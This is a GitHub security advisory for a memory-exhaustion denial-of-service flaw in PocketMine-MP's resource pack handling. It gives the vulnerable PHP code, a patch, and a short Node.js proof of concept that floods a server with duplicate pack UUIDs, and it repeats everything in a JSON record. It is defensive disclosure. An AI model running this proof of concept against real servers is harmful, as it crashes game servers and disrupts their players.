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GHSA-FQQV-56H5-F57G

Vulnerability from github – Published: 2025-09-02 16:52 – Updated: 2025-09-02 16:52
VLAI
Summary
PocketMine-MP `ResourcePackDataInfoPacket` amplification vulnerability due to lack of resource pack sequence status checking
Details

Summary

A denial-of-service / out-of-memory vulnerability exists in the STATUS_SEND_PACKS handling of ResourcePackClientResponsePacket. PocketMine-MP processes the packIds array without verifying that all entries are unique. A malicious (non-standard) Bedrock client can send multiple duplicate valid pack UUIDs in the same STATUS_SEND_PACKS packet, causing the server to send the same pack multiple times. This can quickly exhaust memory and crash the server. Severity: High — Remote DoS from an authenticated client.


Details

Relevant code (simplified):

case ResourcePackClientResponsePacket::STATUS_SEND_PACKS:
    foreach($packet->packIds as $uuid){
        $splitPos = strpos($uuid, "_");
        if($splitPos !== false){
            $uuid = substr($uuid, 0, $splitPos);
        }
        $pack = $this->getPackById($uuid);
        if(!($pack instanceof ResourcePack)){
            $this->disconnectWithError("Unknown pack $uuid requested...");
            return false;
        }
        $this->session->sendDataPacket(ResourcePackDataInfoPacket::create(
            $pack->getPackId(),
            self::PACK_CHUNK_SIZE,
            (int) ceil($pack->getPackSize() / self::PACK_CHUNK_SIZE),
            $pack->getPackSize(),
            $pack->getSha256(),
            false,
            ResourcePackType::RESOURCES
        ));
    }
    break;

Root cause:

  • The packIds array is taken directly from the client packet and processed as-is.
  • There is no check to ensure that all requested packs are unique.
  • A malicious client can craft a STATUS_SEND_PACKS packet with many duplicates of a valid UUID.
  • Each duplicate results in the server re-sending the same pack, consuming additional memory.

Why this is unexpected:

  • Mojang's official clients never send duplicates in packIds.
  • PocketMine assumes the client is well-behaved, but an attacker can bypass this with a custom client.

Suggested fix: Before sending packs:

  1. Remove duplicates from the incoming packIds array.
  2. If the difference between the original count and unique count exceeds a small threshold (e.g. > 2 duplicates), immediately disconnect the client with an error.
  3. Track which packs have already been sent to this player, and skip any that have already been transferred.
$alreadySent = $this->packsSent ?? [];

// Remove duplicates
$uniquePackIds = array_unique($packet->packIds);

// Detect abuse
if(count($packet->packIds) - count($uniquePackIds) > 2){
    $this->disconnectWithError("Too many duplicate resource pack requests");
    return false;
}

foreach($uniquePackIds as $uuid){
    if(in_array($uuid, $alreadySent, true)){
        continue; // Skip packs already sent to this player
    }
    // existing code...
    $alreadySent[] = $uuid;
}

$this->packsSent = $alreadySent;

PoC

  1. Join a PocketMine-MP server with at least one resource pack enabled.
  2. Using a custom Bedrock client, send a ResourcePackClientResponsePacket with:

  3. status = STATUS_SEND_PACKS

  4. packIds = many duplicates of a known valid pack UUID.

Example Node.js PoC (requires bedrock-protocol and a valid PACK_UUID):

import { createClient } from 'bedrock-protocol';

const host = '127.0.0.1';
const port = 19132;
const username = 'test';
const PACK_UUID = '00000000-0000-0000-0000-000000000000'; // replace with a real UUID
const DUPLICATES = 1000;

const client = createClient({
    host,
    port,
    username,
    offline: true
});

client.on('spawn', () => {
    console.log('[*] Sending duplicate pack request...');
    client.queue('resource_pack_client_response', {
        response_status: 'send_packs',
        resourcepackids: Array(DUPLICATES).fill(PACK_UUID)
    });
});

Impact

  • Type: Remote Denial of Service / Memory Exhaustion
  • Who is impacted: Any PocketMine-MP server with resource packs enabled
  • Requirements: Attacker must connect to the server (authenticated player)
  • Effect: Server memory rapidly increases, leading to freeze or crash
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "pocketmine/pocketmine-mp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.32.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-09-02T16:52:51Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nA denial-of-service / out-of-memory vulnerability exists in the `STATUS_SEND_PACKS` handling of `ResourcePackClientResponsePacket`.\nPocketMine-MP processes the `packIds` array without verifying that all entries are unique.\nA malicious (non-standard) Bedrock client can send multiple duplicate valid pack UUIDs in the same `STATUS_SEND_PACKS` packet, causing the server to send the same pack multiple times. This can quickly exhaust memory and crash the server.\nSeverity: **High** \u2014 Remote DoS from an authenticated client.\n\n---\n\n### Details\n\nRelevant code (simplified):\n\n```php\ncase ResourcePackClientResponsePacket::STATUS_SEND_PACKS:\n    foreach($packet-\u003epackIds as $uuid){\n        $splitPos = strpos($uuid, \"_\");\n        if($splitPos !== false){\n            $uuid = substr($uuid, 0, $splitPos);\n        }\n        $pack = $this-\u003egetPackById($uuid);\n        if(!($pack instanceof ResourcePack)){\n            $this-\u003edisconnectWithError(\"Unknown pack $uuid requested...\");\n            return false;\n        }\n        $this-\u003esession-\u003esendDataPacket(ResourcePackDataInfoPacket::create(\n            $pack-\u003egetPackId(),\n            self::PACK_CHUNK_SIZE,\n            (int) ceil($pack-\u003egetPackSize() / self::PACK_CHUNK_SIZE),\n            $pack-\u003egetPackSize(),\n            $pack-\u003egetSha256(),\n            false,\n            ResourcePackType::RESOURCES\n        ));\n    }\n    break;\n```\n\n**Root cause:**\n\n* The `packIds` array is taken directly from the client packet and processed as-is.\n* There is no check to ensure that all requested packs are unique.\n* A malicious client can craft a `STATUS_SEND_PACKS` packet with many duplicates of a valid UUID.\n* Each duplicate results in the server re-sending the same pack, consuming additional memory.\n\n**Why this is unexpected:**\n\n* Mojang\u0027s official clients never send duplicates in `packIds`.\n* PocketMine assumes the client is well-behaved, but an attacker can bypass this with a custom client.\n\n---\n\n**Suggested fix:**\nBefore sending packs:\n\n1. Remove duplicates from the incoming `packIds` array.\n2. If the difference between the original count and unique count exceeds a small threshold (e.g. \u003e 2 duplicates), immediately disconnect the client with an error.\n3. Track which packs have already been sent to this player, and skip any that have already been transferred.\n\n```php\n$alreadySent = $this-\u003epacksSent ?? [];\n\n// Remove duplicates\n$uniquePackIds = array_unique($packet-\u003epackIds);\n\n// Detect abuse\nif(count($packet-\u003epackIds) - count($uniquePackIds) \u003e 2){\n    $this-\u003edisconnectWithError(\"Too many duplicate resource pack requests\");\n    return false;\n}\n\nforeach($uniquePackIds as $uuid){\n    if(in_array($uuid, $alreadySent, true)){\n        continue; // Skip packs already sent to this player\n    }\n    // existing code...\n    $alreadySent[] = $uuid;\n}\n\n$this-\u003epacksSent = $alreadySent;\n```\n\n---\n\n### PoC\n\n1. Join a PocketMine-MP server with at least one resource pack enabled.\n2. Using a custom Bedrock client, send a `ResourcePackClientResponsePacket` with:\n\n   * `status = STATUS_SEND_PACKS`\n   * `packIds` = many duplicates of a known valid pack UUID.\n\nExample Node.js PoC (requires `bedrock-protocol` and a valid `PACK_UUID`):\n\n```js\nimport { createClient } from \u0027bedrock-protocol\u0027;\n\nconst host = \u0027127.0.0.1\u0027;\nconst port = 19132;\nconst username = \u0027test\u0027;\nconst PACK_UUID = \u002700000000-0000-0000-0000-000000000000\u0027; // replace with a real UUID\nconst DUPLICATES = 1000;\n\nconst client = createClient({\n    host,\n    port,\n    username,\n    offline: true\n});\n\nclient.on(\u0027spawn\u0027, () =\u003e {\n    console.log(\u0027[*] Sending duplicate pack request...\u0027);\n    client.queue(\u0027resource_pack_client_response\u0027, {\n        response_status: \u0027send_packs\u0027,\n        resourcepackids: Array(DUPLICATES).fill(PACK_UUID)\n    });\n});\n```\n\n---\n\n### Impact\n\n* **Type:** Remote Denial of Service / Memory Exhaustion\n* **Who is impacted:** Any PocketMine-MP server with resource packs enabled\n* **Requirements:** Attacker must connect to the server (authenticated player)\n* **Effect:** Server memory rapidly increases, leading to freeze or crash",
  "id": "GHSA-fqqv-56h5-f57g",
  "modified": "2025-09-02T16:52:51Z",
  "published": "2025-09-02T16:52:51Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pmmp/PocketMine-MP/security/advisories/GHSA-fqqv-56h5-f57g"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pmmp/PocketMine-MP/commit/c417ecd30d20520227b15e09eda87db492ab0a6a"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pmmp/PocketMine-MP/commit/e375437439df51f7862b6b98318394643fcd6724"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pmmp/PocketMine-MP"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pmmp/PocketMine-MP/releases/tag/5.32.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "PocketMine-MP `ResourcePackDataInfoPacket` amplification vulnerability due to lack of resource pack sequence status checking"
}



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